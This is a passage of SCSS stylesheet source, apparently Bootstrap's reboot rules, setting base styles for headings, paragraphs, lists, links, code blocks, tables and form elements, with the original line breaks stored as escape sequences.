// 2\n -webkit-text-size-adjust: 100%; // 3\n -webkit-tap-highlight-color: rgba($black, 0); // 4\n}\n// scss-docs-end reboot-body-rules\n\n\n// Content grouping\n//\n// 1. Reset Firefox's gray color\n\nhr {\n margin: $hr-margin-y 0;\n color: $hr-color; // 1\n border: 0;\n border-top: $hr-border-width solid $hr-border-color;\n opacity: $hr-opacity;\n}\n\n\n// Typography\n//\n// 1. Remove top margins from headings\n// By default, `

`-`

` all receive top and bottom margins. We nuke the top\n// margin for easier control within type scales as it avoids margin collapsing.\n\n%heading {\n margin-top: 0; // 1\n margin-bottom: $headings-margin-bottom;\n font-family: $headings-font-family;\n font-style: $headings-font-style;\n font-weight: $headings-font-weight;\n line-height: $headings-line-height;\n color: var(--#{$prefix}heading-color, inherit);\n}\n\nh1 {\n @extend %heading;\n @include font-size($h1-font-size);\n}\n\nh2 {\n @extend %heading;\n @include font-size($h2-font-size);\n}\n\nh3 {\n @extend %heading;\n @include font-size($h3-font-size);\n}\n\nh4 {\n @extend %heading;\n @include font-size($h4-font-size);\n}\n\nh5 {\n @extend %heading;\n @include font-size($h5-font-size);\n}\n\nh6 {\n @extend %heading;\n @include font-size($h6-font-size);\n}\n\n\n// Reset margins on paragraphs\n//\n// Similarly, the top margin on `

`s get reset. However, we also reset the\n// bottom margin to use `rem` units instead of `em`.\n\np {\n margin-top: 0;\n margin-bottom: $paragraph-margin-bottom;\n}\n\n\n// Abbreviations\n//\n// 1. Add the correct text decoration in Chrome, Edge, Opera, and Safari.\n// 2. Add explicit cursor to indicate changed behavior.\n// 3. Prevent the text-decoration to be skipped.\n\nabbr[title] {\n text-decoration: underline dotted; // 1\n cursor: help; // 2\n text-decoration-skip-ink: none; // 3\n}\n\n\n// Address\n\naddress {\n margin-bottom: 1rem;\n font-style: normal;\n line-height: inherit;\n}\n\n\n// Lists\n\nol,\nul {\n padding-left: 2rem;\n}\n\nol,\nul,\ndl {\n margin-top: 0;\n margin-bottom: 1rem;\n}\n\nol ol,\nul ul,\nol ul,\nul ol {\n margin-bottom: 0;\n}\n\ndt {\n font-weight: $dt-font-weight;\n}\n\n// 1. Undo browser default\n\ndd {\n margin-bottom: .5rem;\n margin-left: 0; // 1\n}\n\n\n// Blockquote\n\nblockquote {\n margin: 0 0 1rem;\n}\n\n\n// Strong\n//\n// Add the correct font weight in Chrome, Edge, and Safari\n\nb,\nstrong {\n font-weight: $font-weight-bolder;\n}\n\n\n// Small\n//\n// Add the correct font size in all browsers\n\nsmall {\n @include font-size($small-font-size);\n}\n\n\n// Mark\n\nmark {\n padding: $mark-padding;\n background-color: var(--#{$prefix}highlight-bg);\n}\n\n\n// Sub and Sup\n//\n// Prevent `sub` and `sup` elements from affecting the line height in\n// all browsers.\n\nsub,\nsup {\n position: relative;\n @include font-size($sub-sup-font-size);\n line-height: 0;\n vertical-align: baseline;\n}\n\nsub { bottom: -.25em; }\nsup { top: -.5em; }\n\n\n// Links\n\na {\n color: rgba(var(--#{$prefix}link-color-rgb), var(--#{$prefix}link-opacity, 1));\n text-decoration: $link-decoration;\n\n &:hover {\n --#{$prefix}link-color-rgb: var(--#{$prefix}link-hover-color-rgb);\n text-decoration: $link-hover-decoration;\n }\n}\n\n// And undo these styles for placeholder links/named anchors (without href).\n// It would be more straightforward to just use a[href] in previous block, but that\n// causes specificity issues in many other styles that are too complex to fix.\n// See https://github.com/twbs/bootstrap/issues/19402\n\na:not([href]):not([class]) {\n &,\n &:hover {\n color: inherit;\n text-decoration: none;\n }\n}\n\n\n// Code\n\npre,\ncode,\nkbd,\nsamp {\n font-family: $font-family-code;\n @include font-size(1em); // Correct the odd `em` font sizing in all browsers.\n}\n\n// 1. Remove browser default top margin\n// 2. Reset browser default of `1em` to use `rem`s\n// 3. Don't allow content to break outside\n\npre {\n display: block;\n margin-top: 0; // 1\n margin-bottom: 1rem; // 2\n overflow: auto; // 3\n @include font-size($code-font-size);\n color: $pre-color;\n\n // Account for some code outputs that place code tags in pre tags\n code {\n @include font-size(inherit);\n color: inherit;\n word-break: normal;\n }\n}\n\ncode {\n @include font-size($code-font-size);\n color: var(--#{$prefix}code-color);\n word-wrap: break-word;\n\n // Streamline the style when inside anchors to avoid broken underline and more\n a > & {\n color: inherit;\n }\n}\n\nkbd {\n padding: $kbd-padding-y $kbd-padding-x;\n @include font-size($kbd-font-size);\n color: $kbd-color;\n background-color: $kbd-bg;\n @include border-radius($border-radius-sm);\n\n kbd {\n padding: 0;\n @include font-size(1em);\n font-weight: $nested-kbd-font-weight;\n }\n}\n\n\n// Figures\n//\n// Apply a consistent margin strategy (matches our type styles).\n\nfigure {\n margin: 0 0 1rem;\n}\n\n\n// Images and content\n\nimg,\nsvg {\n vertical-align: middle;\n}\n\n\n// Tables\n//\n// Prevent double borders\n\ntable {\n caption-side: bottom;\n border-collapse: collapse;\n}\n\ncaption {\n padding-top: $table-cell-padding-y;\n padding-bottom: $table-cell-padding-y;\n color: $table-caption-color;\n text-align: left;\n}\n\n// 1. Removes font-weight bold by inheriting\n// 2. Matches default `` alignment by inheriting `text-align`.\n// 3. Fix alignment for Safari\n\nth {\n font-weight: $table-th-font-weight; // 1\n text-align: inherit; // 2\n text-align: -webkit-match-parent; // 3\n}\n\nthead,\ntbody,\ntfoot,\ntr,\ntd,\nth {\n border-color: inherit;\n border-style: solid;\n border-width: 0;\n}\n\n\n// Forms\n//\n// 1. Allow labels to use `margin` for spacing.\n\nlabel {\n display: inline-block; // 1\n}\n\n// Remove the default `border-radius` that macOS Chrome adds.\n// See https://github.com/twbs/bootstrap/issues/24093\n\nbutton {\n // stylelint-disable-next-line property-disallowed-list\n border-radius: 0;\n}\n\n// Explicitly remove focus outline in Chromium when it shouldn't be\n// visible (e.g. as result of mouse click or touch tap). It already\n// should be doing this automatically, but seems to currently be\n// confused and applies its very visible two-tone outline anyway.\n\nbutton:focus:not(:focus-visible) {\n outline: 0;\n}\n\n// 1. Remove the margin in Firefox and Safari\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n margin: 0; // 1\n font-family: inherit;\n @include font-size(inherit);\n line-height: inherit;\n}\n\n// Remove the inheritance of text transform in Firefox\nbutton,\nselect {\n text-transform: none;\n}\n// Set the cursor for non-`